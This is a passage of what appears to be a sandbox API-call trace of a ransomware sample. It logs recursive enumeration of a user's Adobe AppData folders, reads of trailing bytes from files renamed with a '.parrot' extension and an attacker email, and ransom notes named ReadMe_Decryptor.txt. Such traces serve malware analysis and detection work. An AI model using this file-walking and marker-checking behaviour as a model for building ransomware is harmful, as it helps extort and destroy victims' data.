fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0096.762] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.762] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.763] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.763] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.763] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5e9ec60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0096.764] lstrcmpW (lpString1="10.0", lpString2=".") returned 1 [0096.764] lstrcmpW (lpString1="10.0", lpString2="..") returned 1 [0096.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0096.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e9ca0 [0096.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.764] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0096.764] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.764] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5e9ec60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.765] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.765] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.765] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xa5cafa80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x8a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADOBEC~1.PAR")) returned 1 [0096.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5d0838 [0096.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.765] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.765] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0096.766] CloseHandle (hObject=0x1fc) returned 1 [0096.766] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xa5cfbd40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x21df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADOBES~1.PAR")) returned 1 [0096.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5d0838 [0096.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.766] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.766] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0096.767] CloseHandle (hObject=0x1fc) returned 1 [0096.767] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xa5d6e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5d6e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0096.767] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0096.767] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0096.767] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5d0838 [0096.767] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x22180a0 [0096.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694300 [0096.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.768] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0096.768] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.768] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xa5d6e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5d6e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.768] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.768] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.768] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xa5d48000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xd0e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACROFN~1.PAR")) returned 1 [0096.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d0838 [0096.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.769] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.769] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0096.769] CloseHandle (hObject=0x27c) returned 1 [0096.770] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5d6e160, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa5d6e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5d6e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.770] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0096.770] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xa5d6e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5d6e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.770] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xa5d48000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xd0e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACROFN~1.PAR")) returned 1 [0096.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d0838 [0096.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.770] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.770] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0096.771] CloseHandle (hObject=0x1fc) returned 1 [0096.771] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x12fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="USERCA~1.PAR")) returned 1 [0096.771] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d0838 [0096.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.771] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.771] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0096.772] CloseHandle (hObject=0x1fc) returned 1 [0096.772] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x12fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="USERCA~1.PAR")) returned 0 [0096.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5d0838 [0096.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x2218168 [0096.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22180a0 | out: hHeap=0x5b0000) returned 1 [0096.772] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0096.772] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0096.772] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5e9ec60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.772] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xa5cafa80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x8a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADOBEC~1.PAR")) returned 1 [0096.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5d0838 [0096.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.773] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0096.773] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.773] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5e9ec60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0096.773] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5e9ec60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5e9ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0096.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0096.773] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0096.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0096.773] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5f11080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5f11080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0096.773] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0096.773] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0096.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0096.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0096.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.773] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0096.773] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.773] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5f11080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5f11080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.773] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.773] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.773] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5f11080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACECAC~1.PAR")) returned 1 [0096.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0096.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0096.774] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.774] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0096.774] CloseHandle (hObject=0x26c) returned 1 [0096.774] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5ff58c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5ff58c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0096.774] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0096.774] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0096.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4c0 [0096.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0096.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x2218168 [0096.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0096.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4c0 | out: hHeap=0x5b0000) returned 1 [0096.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694300 [0096.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.775] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0096.775] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.775] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5ff58c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5ff58c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.775] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.775] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.775] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5f5d340, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa5f5d340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5ff58c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.775] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.775] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0096.776] CloseHandle (hObject=0x1fc) returned 1 [0096.776] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, 